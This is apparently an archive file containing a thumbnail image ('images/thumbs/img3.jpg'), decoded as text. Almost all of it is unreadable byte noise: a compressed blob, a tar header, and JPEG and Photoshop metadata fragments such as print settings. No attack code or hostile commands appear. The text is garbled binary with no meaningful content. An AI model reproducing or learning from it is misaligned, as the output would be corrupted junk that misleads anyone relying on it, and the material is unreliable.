������m�j��c��M,�1����J�&���bq��j3��b�7n�8p}�(��5���&��ɫZj���Nx.HBmbv���"��o�1���,"P��A�L#�7�/���g�+!���'T���ׅz�[D������ثhI��u�[(��Q�/��a�Q�O����3�l��m���k���1��{�8�<L�y�?��:6L��z�g[J��rWe�/�Bɞ��>`�S=�`�i֑�n�J^8^^%ȪsfFʬ8�����=���7�2���a:ߏ�lE�Ta�c^#�c-�Y}���
�c�5��V��Z+Gas�<��X�<�T�z*�n�j~��|�E�fa�V㦗!WE��-Y����T)TyE��}m|��J��I����q �Ac�q���[�MJ
Ǽ��}ǁ�&�<��r��P���:~�\�5d�0�d]Sl��\"�.񗭭�_['�PD ���$��#}���eqq��|en���bC��Y>��ޮij`�37�G��XG՗��*q�}fR�>5<J��"$H�5Wo�W�J�BM�`L`u��7R/�7?w@FB��Ht-����KChnX.�!Ce��:F�"00�-��fe�(#mi�tc�#�ۓ�$���٧���G
e���ɣ�Eh�OEj�P߫�/W:=^�<–=1�ՑI�5fl9��P�]2�z�Ku�/����&��[{�Q�B)�����|��v蛯��}�f��*�2�u[-�7��eL�Ʒ�����ڍר�XW��h�gI\t��_����|
�~@p��S��ġ,�eWɈ��l̪�o.�S'��Ηc|��Waw{�3J�Ie�bD���rlz��T�
���DKe���;��g�z�ĥ�BJ#�1��b�/�눗�_�2�1�	�������h����,�Ql�XSAë�B��?�6^�W�N�^�f��B��c�#��`���n�1V��{I5�����cz�ެ�XX�*=5k�6��@�j�r��5�-r��RÔ6��8�uhFAI��n(0��ӗ�&�Z����{t���5Wr�e��z�DDl:�A��XsSI	��l��7������x�D+��>�'g'۬�U���@���Ԁ`Z�Y�e���*�T9�y+�[������e�>eH��<�����������c��R���`Jķ��9$�޷v�ĩ\���>�kk�,�����QDUN��m^G�g����+4�_ˎ���q��\���@���ߵ��X�]�A�G��~n��:ì��B�vn5j�_b*�Rh�8��D�)V�"�ץXR�}�Rqkn�9&���Qw��ߢ���k�x���	��S/j�ni��d��V�]`GEel\s��ǭ�q�94L}�s/�*�����M�<�.��u*Il3�(ӕh1�n����"k�����M�N "S=l�L�*m�e�����OY��~��0�~����1
�U���q����y珆��6�_�����F^"E�1�܅*���="ѯ�/�o�V��wY��J��1�o�"բ�+�����Sq\ �>���'��,�U�V�#�b+T�#Ak�}4�:r�
o��O�A@�.�����Ȋ.M_1g:(d�:��cD��ȡ#jDH�~�1�fq��R(
����yMI�B�I�����0fd�ۤ{�P�6�q�%�7O��j�p��xh�3s��;��Ffb���_�q6n ��K�T~]I�K�)���U�G�y��.jn��e��
��[y�N����h�3�[H���x�Ҝ4�y�I�����!3��fs����4^&q�.&$>O��*q�����ub�厒�:��a��3!�|�����Oʠ��E�o����C��8��'���_��QX�:A�(�J4y��H6+��^ũh��N�<�ΦUp\����{XP{�V7*tV쓔���+��4i �;�Vt�q�\4\0�%�:�'g�֚��<��n�X���.����	i��p\9��0�����tȉhX�*���he�N��5kX
�s�K�~�tS�s�XPi�'�}�Q��XF�4*���(p�ֆ2H@r�v��!����?�B8ȅ�AUQ�=m��#�����{��l�m��r2�K$���0[3
	�]�
�
��3iڎ�&�6���(6d�]��6UoR���P3Bxp����;�h��Yh�+l����>�������gR?��Vɼ�m��+dʙ=g�R�땘f\A����eӠխj��i��X�-��ڳ6'���\V"����ޤ��lT��T��s;|����/G�P�4{m�E;$�1w��QP~W��3���w��JNU�s�i+y���Pj˃��U�#;�D@Y��m5n��p�#N�G��?����(�R��T]�x�}?��Y����@�i99uW^M.���x���(�y\c_S��t�01���э�β{Y>��H��<p�4F�����=}	TļE��g*�)USյ���IGW�yeՠ�HnX�Y�
�Sw���^9�S<į���@g�c���t�F��3og|]Be��;ex�����@���%E��)HØް���^�����:14?GE�#O�����V��B�-�Zj�~�9
�7�5�u<�U?��@���`�>����_.c�t�,�GO)���o����_��o쫸)㍄qB��v؉6d����E{ZH�X�pc~"bL��L�W�p�k��I��*��Cw�T���^��!D�ZV��������3{j^+�'ⴈtƇ�i?�B(�|T$v�}��kn�
���͊��ȩ��&��>���R_��|�)��D2ȾV����������}�]���?�ԣ��b�����d�|}ܟi�u'�_�5B��i��Il�>���ᅢVac�{	.lr���Y�>�P9�\X�:G�L/���@[A��b�&�<�+X
#�L{u�&����<Z�75�R���
^!y-Չv�<��("��*���W�7Tl���J�S!^u���軛��I+�yNH�i���I�/32��L��]�e���\����������َl�OP�Wu�?[C�.*��L/���$��U@D�i=�Qm�4�G��ݥxsu4�g��o��꣭5���f��<Y~d��+ɗ���$k��#����F1I o�E��d6�"n ��E�����ԉ��	��A�S�Uxi:�'ٿ��cb��pG��u��9H�a�Q*��L�sH:�E3a��㻦�����f�#��M]mf'O~����õހ�5���Dz>��\�1.i$9TwM#�w�fY�PVi���"�9�~χ��'.�h�}W⸃h�9�cO:����E�U��4��K�XU�NH�6�me��ˏ��rz��lU��W˥�{��knQSk'��c���ª�4c��ș���6�{9��}��΂p��r�2�������1Ȋ��]Yg|��D��S��i�5��[y�m�=t'���~2W��jQP�]FB���˯��'������ib/q��Lٵ>��)c9�+4aN�����=��VB���C68޳!lo�(g\�]MkcH�Ce'��(�R�M��T٭������S'G�n٠`�Fu�7=z�����&��aɍ
�����$�UOZ��N$^X�.�J6���W�����hࢺzO!g!UA,�ř�q	#���G�z��S��J�tRěr�ƽ�9*��™"8�dw��.�����YS�h�$�A)�,+���g�x�2�P8pˊ�i��D�_�T�X���|��OI7�I�'q7p.�'4sF��Z��JN!�XZ ��M����&�f*Fuak�.�e�]�_z�<�&�h�|QjP��F��B�������5��g}=��)���H=�
Yة���$���c�O���
�۴V��V��Z+G`x�$[������>�n����0���KJ4QF���pM>���Q���m�D�����#���T��V�~_��`��]|}X�jW��~�t�_��e�w�<;�d�5�u�r�����'7�R���~i��Qw�/�x�DA�N%K�����m��<�[S�"L�ʯ����_WA,
,H��t󾲿�?����\w��.�>�痦�6�A�SM���V}OM1]�U���j[��Gk��r�~��ƭ�*$'��Q���{`��)�;!Z+Eh���V��Ȝ4x)�G�V�����#z�B��K�,���;R?�ܻ��b�G�$G�_��UvZo�y�uv�w8���:y8"��+M�[/��S�	�.!t�󝌑u�K�PYz
���3V��J�^{���k�ʆ�7h��+|���+�w��|��v͒K	�V�$eY��O�M)P���(�/�^QC��lױ$X���i��`��N6�9W7�Q���˴ma���z�K?��s6n���o3w�d�E�BX��z��Ư*�
=6=5�<o��Ɔaz��DZǔ0�1�E(�"��[�5�iC|Y=[|��(�B�h���6s�K*�$fv�A�;x���5�����v�I��v����$�L��B����>��&;gQy�z����*ȥ�B�V�b(:\��)P�і��֑Z�6U,�}����a�#�`"X�E�]l��.��+F	-ݨ��T��r��q0D
�&�m�a�d�i�	����!���
.}�����E{�trعm��}\��	Ta��﷫�_�a�����m�
m��״��Aq�=f.�#)�V��Kmv�.z����Cc��ѫ�`�
��zM�+���V3���X��~�c4^��h�der��(�mօ��m
#�jn�|L��4u��~�k{�V�cZk[U�ZkMi��ʹ���|i?�E�2�.�5|��<��w�ܱ�Sa��M��rDCj���^�E�Y�s�J+�`�*ꏑ��7�ӡ�+/�v~]p|w�Aang�ʓy�	?��9��*h�RF>�����(�D;�O>e�"�W>*��R:�w�����Ձr�9�ލœ��\�2��zI�_J�d�$k�|2���R��K�bF����\r�˛�F|�|��0���d��Oե��m
���֚�Zy�n[�2BtH���=��R��k��`��/���[��=�M5��֞H�x��V��Q�Ԁd^�}l��#I�w�[�^.]�T��OQ>;ԜL�4�1b{�#Y�<��
nf+��d20��<_+�i�rA�Qq1��Y�=�\���H�a��n)�F҃��F$m7�"S�R1v�z=�氹'�N��[��f��7~o]�ˠ!�r
��/r�m�>�
r�9A���y��l�����dР�VBu_�}�;+O,Rs���h�aV��qC�P��ʌ��b��e��]xU�~�V�<Qo�̂����,�Dtk�n���O�(]MkZ�g�EY?���TU�2,��$�d_��ܴc�fC�0#ő*�f��ʜR�>*qi��TQp��������I$-��p3�@<����{��������z�!�rɼ��$�-��;
��M#m68���q��d���{�؎P�a�w�$'��?��7f�<�T�
nE�y���b��/����f��5��v4X�c�G$�\�-���V�������҉s��]�vQ�Q	
��ķ�Qݪ'��>mY�b:.k\*>&Č����{l��栲E���l�I�i�}��.�y�2ߜ0̻<��
�J���V>�����;t�X��|ê�ǥ\�JuƓ�B�
2?��!�Q`*�����H;���":bk��Q_~���g���=�5h�m) �ƫv�G��'@�.�m�O׬ۄn�Ȥ�G$v�&�_
!����y�t6��7k��]3:��u�Mp���[���[T{�_'�?*��b֜��4���"��.�z�D�1��������Q����6�����'���B�>�~!�P��ӳ����ϝ�=��x��G-'9�x��C����-�e���'��;�=�+�r��@����fO�F��~z�gQ��k4���<窵s�	���h���Vq���[�1�|�ے�5`t�mAbR|���&,qw�cG�=�S��{݈v��*��Ʋ��ڕƕ ��(����H3��jyH�놏�=Q�'�P�N�:��巉AU��0����H�D\\Q�<��$|�v޳uC�kq�)�I�T�v��x����X�[1Hs�w��������� �O���K3
NC�:�G�*����Q��0��*�_�8rK�>��OYϳZ<Os.c,���Wҫ.
0����B��rpZ��
�q�CZY9\����h}o��h7
��B�m�����g���*4����c�g �󨼬Y�w�����h�dn�]��R�#��w[��en�̨Hh8�|j� <�VU@@5~�t�n��`�i�Q�`k8�l�����8�έ����9D\:cѠy�RpP5��A���S&ӽn"7�8�f���n���:n R.30c�'���\���#���ieU[��d�z�uK'D��w���˙�^�=�WR��F���b,ڸT�Y�M��x8b�
�rz���}�g��xn-B�
���׭�z�8�J,��.�B�p#H:{>/�84͑qu^���/����l;�W�x���v�;~����m:��p��Z���d˒/��ƨ"7>6�����}w�?��c�pI8��Q��wq�ؽ�=\��
⊿m�P��@�ptV=$��d�Q����W���������9(�grGt׫ʃ!랴���id�Cb;_��(p�ɼF.buU�5��S꿼�F$3.\�h�VԼ�US�Gn���%u���F�ib��"�G���J��x{5a�E�~4>zwOV��$a���:��} �$:�<09��3֜k֠�"��_�;��6��(���4�,{4��P[���k�,,]s���g�A4I��R��tY�ٍ؞rh
�A��r����l2���`w7�m���J��}�XYUE�}Q��G����E��5����ߕ���(��{\�"ο:����&V���)�m�ة���E3�ՏUOt�K�B5�"0��e>�*K~eG�U�Ud��S<�c�C�b7iT����d�	Ȥ�,y��O5��i`��4�0�@2mo>Mz�7�.2���	:��"J�9\��)�μ�X�{�L��Z¬|5��ʃ9�q��w�:�RE(�H"Ǔ���\ٛ�]z�4"ڸ~�	�Tc�'_�PH�X�E�j� Q�`=��j1���[�}�[/"����^+U%:r�8�=Tt�_-�qGy(�o�p/��Œ�}�n��6��h������Ne���a���<���z)�π��Z_fK����V�{�+.��f_�5�Z����͆iC���۶�=	xY���L��o[�+_��EC��4^�n�ֱ�Yc;9����7\_ͦ1E��[ɻk��i$HLR�;9���H��[�!ʴ�����
f¬�$�J�^�>V�<Z>20�̭^7�.�*��M�\��`�2����![t�L�B��@&�̀�fFH�l=͡S�0A�S�ޝ�MC?�ȭ��1�"���|�X͸�*��ҫ��|^U���A��q�� ۨ�$�x"�(`3p�?��C��� ��Q�3��E�Û󚻧O-�q�'
 v�q�H#ޥ�t8=��qCJ���b�"�1���y�ȋ,i{�`��Z�^���X�}>6ѩ8��%mH�EՇ��Hxt,�l�9����L��W �����A�O�-��ѧ�$�$[*�Y"�W�j�h����!��_�~.]���[v�����I"����]WQ���W#����8� XȬ�v�U�u�"z�2�xe*dwW9A���.�s���4S6��[)ԝ�ݿ�BS�d���.[�͗�R���(�l.p�ӇEX�~cM�P��bI�F�S�K"`t��������^�tQ�T�GԮ�Ѓ�;U����=���L�[n��1�
������[��p2f9���w/����*|�4y{�G{�՜����ޮ�7lN��C�h�Eqqidd���T#�Ic�
��gxsR.rke��I�����ed��J��g˨�XVyY[4��dE'[<
e���y+4+�)����ǘ6�og�t���]�{�0\/�>�ůG?����&�!�@w���Ѯ\��YW=f��f7>Z�|�p���P�٧v;�
��?��O<0E���Za#ă���:vXѸw ,+�x�=N�VV��!0y,�J�S��ӯ���ܓ:8F�bN��풗�N"H�r�������Z���(WUh��n=�^�enェ�\��%I����Џ@|�7���i�$�*�4
w=PM/��P��iX����v��*DE�]i;��F��'���mn,�m�ko����"�YTh�QL�q4yq�V[𠣛����Ʈ�[5�[5�[5�[5�[5�[5�N�,wE[��6��we���P��+Eh���rh�V`��U���މ�\��6�#ͬ�%l�����r��:~�4��� ,`-v��̹�\Sn<Y����C�)%`Pn�=�;y�����#4�r뤰�sj4y�OY�t��q䲸�K�lQ���x�yZn,�;�ʧ�E���,k`a�v�e6*4��i�D�,H�H����;�7���/2G�XH�d9�䍶?gA�RE�	���{g��Jx&d+�Hű:�eo���Y<[�t-k��h�v�r-H��5PŒ~��
��VQ���γ!�Cq�Eh�GA�4s����C�:~/�G.��ق�s6N�V����-r��[V��x�HK�Uu`G��5R�7��r��Y8� qR�����h��mG}� �I2�Y�����e�d_i��k"�E��ac��26���˘�ݢ�c�v���–1�1���x�a�cI+D��i���V�Z29�QzԂ;�U���S�r��W<dte�8x�X�ю�Qj3'���j@:�2$�Y����&mJ]����2s)9�r"�]����r��tk l�)?�:�y[�#�ޕb�F��ǭ�S?ģ�p�(EP`��L�0�-�k�)���ecx�B�q�ʭԑ5���F�eK-���j�ִ���bo��?��xı�bnF�]>���A�+��F\���u�e(�cvrHh��Mj	,���a�����<�u�B
[5���l���d�t��NY�о��l�������҈]�e������L�JFCbQ�Fު�m��
9����
�hOH���5�E_��#����oA��q��U�mѦ����ByʀޚQ0�8f涺z/���M�C��|^һԾr��@�c{�5q��"��k{L�"�zu���
�޹�v@��
��q���=��IL��P`��#W�ʙ��/⟚�c����o�Xh����L�Y��s��O�W����x+�7��W�?�U���?�^��+`|"�W�+�W@�5���hճ�
�95�mYT��GN/g��ٓ,��>=aWǤU�ns�֦�:*���>�Z��H�4T�x�F���Lc��F}�ɼF��3d�^nbr��T�z
�8|���\2��ɺ2�IT�U7W����U����c�$�]��_�@�<N9�:<]�?R������<G���ͭn*u���j��%���Տ�2�t0��:�7�-<z2I�M#Y~]Z	#�A�"���ν_� Sux�V�mzA��RKX�Z�ɢйC���4��^�ênz�ßQ'�jIa�x�Ke�5�)Lw�,
���}V]b0 ��IV�:�C1�ќc�g�s�OFJX⟤�1��٨	�����ӏ5f��IG���Gj��+Aô2��#6���F^)#�V!#�=G,vw���w�����A#�tQy��xZ��Z�\������r�s.���,�",�n�5ż\��yք�̦��[�mϛ��PW�M��Sq�����:k1��^���h������1`A���b��R8��qYeM}��U���p��!k(����0qֆ����jE��a0#92�X�TL�s킉�ފR�-���.�r��v�����+�e?w'Ҭ?8�Г�W���m_��PL��zU����5�|���ͬx�{��W����u�<-ߊ3�+[�V��ѭh�C�*?V��7
{����Q m�W�)�&����Lvr3e�W��.��U�؇������m����^"�'z)}���$_���
��ւqe>d����*ңB�C
���H9�p#�ՖB�#�Je�;2-��KAL�h�Y5��d۬�:Ei�4��9a �s��)I"�.�3���u]���р��;Z�u7��?�əNS�h��n��loo�<J��x�&[K5�ɺȼF���V�L���^�\����#*�<�B6\0'�O=E���GG`M�Kz&���ki�[M��oD��z&���5�މ���Mm��km�[m��>����+l�-�
���o�^�-�k�E��{O��F���o�^��ѯi�[�״�-�k�E��c(�[�׵�}�Q�ѣ�`2�l~E\L�OFa�+�����o��Ϳ����8���x����߅_�����o�U��|?�W����W����u_�^�����������u��=?�u��=?�W���c�W���c�W���c�W����}
m��(Τa��U��d�
�2�5�T�=}#�V���a�:(E0�4G0�����$LJ-���x��������s)��|�\����H�$�c�kGD>�6F�7_�U����w(�ssU�#),K���PI��8u��-��F���}m$N��F���Fm��o�W��qB�!��2Ư��<�͗8M�lz۹��y~��=U$0eE��)�?�q�ͬ�|��~ғ�rp�f�����}d1�,S����� �N�t���=(b]P:G�D�lw��O!=��cG����c��µ�F񆏌�k!�눫0���n(�#��#H�Q�<7�e��K�~#f�/�SE���!��шl<F��N�4�4��r�k_fh�z�x��
k���f�A�:4�A�C0��6�2��xV6 5S]�>�7�3�仩
��u�L�Q��Ş�J��M�7�d��)�)�2\$1���{&y"�~���	(<PBr�0X�V͛�g���㒤�dl�BFv�Ŏ1�Fyr�����s��C�}X��(s�)�`	
�=l�m9y��nC�;t�G���`���E'�L�mƂW���w�:1̅M�"ܘ��F:y��kˬ0H�+T��i�8��VRT��v�3k�6�+��?��9�Z��Deʭ[�D�3"[(�[3���EN�ׂ��al9����:y{��.�ې���ʋ�w����P�����[�l�m�K�z�cl|a��Q`~c��A��y���=���m�v"��߭��Vׂ���[^
��Vׂ���୯mx+k�[^
��Vׂ���୯mx+k�[^
��Vׂ���୯mx+k�[^
��Vׂ���୯mx+o�Y��>)�Us(n�#���୯mx+k�[^
��V�m
ڭ��a[k�Ň���r��^�)x�-é�Q��#��uɗ�M{Ye\}:2(���D�0��>��ɴ9�jİ>.8ޮ�O7@�9�1� Q�Z�m��j�9]��Z�e�`-l)���Pn�Xy
2l�z��/�ڛD��f�j�h9&�uF�q�j`1��&�p��PT�K{v
� ����E�����랲�b{��*߷&���W��V����|����X��X4g�5�C�{�Z�7��k�/|��8մmgL��7�Y@����X��#ʧ�� ��1�.x�Z�k��V<��H�*A���>��a�EW�Ov�J ���pjβ	-���X��Z��8
�M����ĺ�(�[�/Z�pTlv��Y�
9�5OZ�P��ZEi�W=�9mJ�v�*�����B���ѳ�Q�s��2��D���J��2���PAu�dmsT9X���4l�B�+��Dɉ�w�֯�r��DZ��cY
�q&��W`�0�E�m5�0pW�-z��e!���	���[�����P݀��)��9�,;��=�U����;ʋ�E�V�����׶c`9Ͷ���s#j�c�K�/,�ir�Gƫ�X؋�'Z�c�6$s��X�G7��
�N���h��`�u��[t���8�@g
��*2�*{�V��鍙�9{,	�V����P��a�r��FGOd;�����=�5�߮~��2�4���e�h�/^��g�⑃�����W|�,Lq��d\���ҥ,#[�kc�^��
����ݎ�� {Մ���
��;�5�a��y=#X�'��X����oH��|&���kh�5bI�"b��@魫���tV�U��౭���HtgF[�H�r=g�8����>���u7�Z�u�{hŵ��v���ڥ~�j=�zk����$�%���qԍiͷ��iɢ��-��0�E�+�&�_��j _W����u��q�|�?yB�Ѭ{hƴ�xч�L���S��7VJ�qݜP���wYk���*�oD���kvt��DXc�l~/jS�|��!>1�{x9;��}u�\I����ʵ��N�T����O��JXI�q4!�l�5���;[@�Q@uՎR#���[�@�v�5��֚�ZkO-�n��>+�%8���L.�ڍ���7���{��{X�n~N�u���I���kE6�h4��{O���;ǿG�֡��Շ��M��E�Wn�z�z�z�x+��s���CM��kG�s��h�v�{���<��;z����o��*��images/thumbs/img3.jpg000066600000146715151150443020010671 0ustar00���XExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:36:01�0231�������rz(��HH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��̦���Z�3�?5k�\?L�cF��+���.�Һ�N&
�6��6��Un���;�uo�w�/C������13�~��İm�=��+��ףF��;�t݁���h�1��p:vc62���-,2R���m$X]Ύ�Q�o�,�;zEuc_C��G�Us����>:�߫c�e�ysZ ���[c`O����=��l��#u���M�.�,��\�=�d�l�U˧�X��W0���@�o��+��{��RMX͆
qNIQi��wF�t����F=�C]~mL�Qn�۹�IrL���c/=�[~N/N��
u�9V�a�e-�-�:�6��V>��Zz�M���u]'�4]����1�O�%��K�Z���g�j)��7t���}��]���c*{����w�~���	���l/�}1��5���I����V&#��۳���S���#��3:�R�e��>��Z �ӷ��U�o���?�%K��*�z�j�(7������*ȿ!��f�I,��C*Ʒ ��	��"��5�?��ev^��bh�L�,}n����4<���ڢatZ:}4�[���躗:��6�9�����6{j�6DZ�c���,�~��:�zm�>_r W���2��,�΄��p�(c��K��
��!����}�n}�h�mM��H��O��n�
B��Э.�q�Xspg� ���\ݭ��1������TO�P������Y��%��%�1���ůR�'�x,���E�v9��n�����ܱy^�����[!��4n ���L��G
�S��6�c	���6oĹ������OV��Ղ�|��+	
�O/)��2O�y�Q�[�tڳ�Y"�_�뱤��-�]v5J��Ϙ$&Dk�T�����ִ��@��~�ꬹ�5-&~Y=5��Rβ;*C�
.��?0����5���L��f�I�u�F�=G��'��3��)rl�+P),��\>�w'm.�E�"��cd�	P�UaI�3x���H:�w�[�fm�a��cG�����ߞߔ�Ю�h�E����=�c��L�r������>��'�k���m����h��e��k����ϣ��SO�����,?�m�q��՘�C1r���{]�e�Z����kn�ʿ�g�T>Շ�^n�5�@?�}����;��\����z��DN���R^��=�xc#�M6�eYU�A��=�;���UM�W�1ߛӪ�zW���~P��2��a��^?���5̪�if>�K����=�5ރ�U��x�I��w���j���������l��/�
i��[&�����}�����
^�ʖHX�������s���6=����^ׇ�w��Ӷ�Y���ەk�EE�������sD#�u,|L�)��_F(�x���7a�Hݟ��/����z��3/@3�暏���[��˝M�,����O�ڇ0�a���g�4H�N����1qe�������j�N(nc���ٚ��/�C]�Q���Q��v1��}�c�_ښ]X3>ֵY�'�t���e���Ce-
a��79:́ŧoH�ѐc�<:���F].���, ˓t��n�6��V�	�$��8�"u˲�ϢϢ<�q�̦Yk�k]i#k����I��k�$了�����̿���]����ŷ5�Z��^�~j�ņ_�_Y����o5�!��O��{ظGL�]�⺿�ig�v�c�^�ǛKno�J��b"�]��q��_Z������|�q����̷ֵ����,^���Y~�1�y!�>�,c�MvW`�����-�����v�g�S��\w�ȏ�q�Y��eΩ���h��x^�d��$H�a��@�������a��h*��m'�A�x#��X��fe8���Xʣ�y
ZX髧��1iS���T�J�^�ss���Xw�ߺx�[-�uN���hk�l{C���n��^�+u�L�#�6r��1�Z	:mo�˟��=���9i�<v��{q�ֳn�����ŋ�jkqs��ՠ~U�^M���6����	����c#Z�v?Sz���lú�V&m���dk>������?�Eػϫ�9�a�h�����/v�F�9�;l��y~5��{Xlo�htD���}kwN�?W���p2�0E�.~��g*��-����x�x��W�U(q�����K���0m}n.e��d�pՏ���g�6®~�[��ߟ�^6)w�Ur�1Qk�湶7���}�}k��2��*�E4�A����^�ݳ����u��{�=J�f�����/{���6?�?�~b6���40���$:�/�o�r��a�ً�ƺƼ>��Z��s\�:�_���������~����y�pz{^�
	�s������3W�/�����I�5�̸�36���Ѭ�ԍ�m�?��G՜�3��21C[y��.��׷ݱ���k��7����=c3��n��������3���c_���g�۩��,?K�;�_ګ�E6}��/\T����iwZ�y���5�����wm����uk��馊�����Vc�=�sgCʖ�c˭.=��=�α�[����M��:�m8�mq��
%�����7���\>���E�44:�}l;�?&�$GSí.�6(qh����kОJ����}l�ǵ�}."��Z�ʫ�7Ӱ����5�l�l�{Q:Gٺ�O���ʥ�ohr�bb|���c���������:��˝F��aڹ��8�`�c���Y�K��A�_O�Ck]��zx?;���;ˇf��9f������#:ϣ��,����g�[��8GM\����x��e�`�Y���.�Ϭ�s�_K�6�Z���.���|L�_��"�nMnkg�\a��r:�o��<7�
�Ά9�/mk�o���M�*C�*�_û�ʅR25�;9�p�����m��တ�OhZ������H#-���H���n���s3l>��k��5�i��!/���W�}���E���}}�n���	̻Ʒ*�T\7XI���L��Z,n���f��ɽt�5=���Y���S�����죦ہ�Z�l�����j��;�s�$�$b٫o��/��~����vEv]] [c���sZ���9�?G�^��}N��1r��i���[ai ��ޮ5^��l{͞�u�ŧ�L���q�z����n/Msr�<ZW�������+�z�Y���"����^-.5T�ֶ��+c�c��c�th(�FL����A
�|ߓs�΂���o�[u�w��jR�]f�F�Lq���9'��9Ȕٝ1��غ����
���ȯ�mˍ�H�^M��4x�?���l�&��:�H�uX]o�ە���m��u3a!� �ѻѯ����l��Vz�z{�W8��>)u\��t�ds�zYS]>�ˮ{[��*g�8���M��[�H��5cɧ��av��V��c���n��\�Mȳ%���
����e�;��G�u�u��T*�9� 4�ݍ��sw*ՓFE��m[Ü\�2Z��2�M����m����iml���֬�X�8=�����~.SX�[S�܆-quM�Z��x5������楘�Yv���>����{/
�E��+������Ϳk�o��F���!c��y���R�Os-��%�5�]�;���a�Ϲ�{�Y,h�@l}�'������Rx��+�������uuY����5����F�^�j��}e���Y�el�������*�Nv-�ٓ�U�����
ľ��'��}7�'�\~�]%��+q ���>�=k=?��u���Ej�7]���#�kv{�!��T�_��1�:���\8p
��Ej�o��#��"����ck��0��
�mճ{����T���x�e9��{k��v��<�3Ԧ�v��t��	Gm��\��R�m��h��:����c]��Cd��]}�P>�66��l���O��ܟ��[[q/�W���?�=���H�t��Qa&�x0
����[��?���Y�r��=?E�1�ߣT�WD��Ttڏ��s�,��z5���Vv�u�>͉iK�P��=�7�eY�m�1�d���ɦ�˿sѭ����T��g;/�疻�Hsx-�4��o�t6����q�v6�F-,��񼵍
k���Qߟ�XG���ٿ�fV�-y!�t�>׺�vd�Z?��07*%��C��_����vYo��lq������ջu}W���b��}�k��6��Ec��+��Z�R�:����1��O��)%ƻ
G������z��ZvW���QW��c�I/q.q�IԒu$�)�X�)�c����$1���;ZՋ��[���<Wq�����=���?��o���U-L�߇�\÷'/}T8}&���Y,�_���E���eccՊ�@��ĞJZ��Q����tc���tws�Aq�7b�*�n8���n�D��(T��k�����Jm��������eb��۟�eG��1�5���W�5N��e��\&7՜�M�M�=����[���7:��w�ֵi���#�R�ݧ����r�����p�9��S���+GF����g׀YMxy�S[h4i���=��j���8t����ʘ%�X�Ξ��+��䭼.���
��u
`��3�쫙�As_].�W�<~�C�Ȧ�����s�]^E���{p��3��MbII?j��<�U�z�p��n-��Ցu~�,��>���ub��q1�F+?S�˩����'�����l̲�O��NS+��Tm�?
��Xn?;;*�*c�߲��YK�X{��}��'����0�Ʒ�Ր�g>ڳprK�X���/�3�E?e��M:�/��g����s`~/Q��_�M�ͮN�_�̗�m?����D>����)�#6�1m�U8�S�j��%�����=+������>���p�͹�m���z�o�>�eY8̭����_eu��"�������x��4��u��{��멥����V�M��hꏫC�m���u�:�q�f��S`|��5�R�]���g����'�:]��;ȼ���WR��i�:Y���S}�p�>Z���]� ��l���mp?�%a}o�顕��P_����h��:�욍W[H�׻{�_�E�~�k?�2<[��g�,���zFEx�����״��,o�c�=���쟫_��u��=-��1��.�x/�%�o���u̧Ӫ�_�qf�ڮvX�9��*���鹘����wǯ���:��z�~�o�����?^:}xU��d2���{mΩ����7n���ާ�X�G�]���04�~btc�	�3,�d�CU5���e�R���vų���Ա@5�o���- �dN����������--����Ǎ=��n�Ƭ����K���~z��Z l_���\Y����L��f�U���W����,L�' ?�i��@a��_���|N�m��I�M�����-64V�	 @Cy0��g��d��܏�W����q��T`������z��=W*슱���V-{Xn&+`'�e�����5p	+���m��e{��6������>�_��1��Ѱ]M��h��4oung�����s�{����$÷摻�E�dzԸ5�C��{Ep�ޮ�>��!e��}P71�G�k\2Av��kw�sZ��ϩ&��K��}����p�[*�oM��. ����S�i���Ϸկ��gվ�:�s0��#��\j}����c�Y��M�+���'�i���}ɷ����x���K���;�u8v6U.�uF��~)�b��5�Q�}s'3�'Ҫ���?�-Tm��pm�$���"=۷~nߤ��$�K]�.���m^�/Ī��$�{�Z�2�h�Lcv=���[��I!�R\N������$��].�k�c��KK��$
�,��Ϡ����b1��&��#R�RB[�;;�].��TK��5X�$켘!�Έ�r��H쮯���#(Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img3��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIM��g�� ����Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��̦���Z�3�?5k�\?L�cF��+���.�Һ�N&
�6��6��Un���;�uo�w�/C������13�~��İm�=��+��ףF��;�t݁���h�1��p:vc62���-,2R���m$X]Ύ�Q�o�,�;zEuc_C��G�Us����>:�߫c�e�ysZ ���[c`O����=��l��#u���M�.�,��\�=�d�l�U˧�X��W0���@�o��+��{��RMX͆
qNIQi��wF�t����F=�C]~mL�Qn�۹�IrL���c/=�[~N/N��
